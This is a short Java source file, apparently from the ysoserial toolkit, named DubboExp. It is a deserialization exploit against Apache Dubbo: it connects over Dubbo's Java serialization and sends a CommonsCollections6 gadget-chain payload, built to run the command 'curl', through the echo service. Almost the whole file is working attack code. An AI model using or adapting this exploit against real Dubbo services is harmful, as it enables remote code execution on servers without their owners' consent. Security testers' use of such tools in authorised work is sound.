package ysoserial.exploit.dubbo;

import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ReferenceConfig;
import com.alibaba.dubbo.rpc.service.EchoService;

public class DubboExp {

    public static void main(String[] args) throws Exception {
        ReferenceConfig<EchoService> reference = new ReferenceConfig<EchoService>();
        reference.setUrl("dubbo://?serialization=java");
        ApplicationConfig application = new ApplicationConfig();
        application.setName("xxx");
        reference.setTimeout(20000);
        reference.setApplication(application);
        reference.setInterface(EchoService.class);
        EchoService e = reference.get();
        e.$echo(new ysoserial.payloads.CommonsCollections6().getObject("curl"));
        //System.out.println(e.$echo("xxxxx"));
    }

}
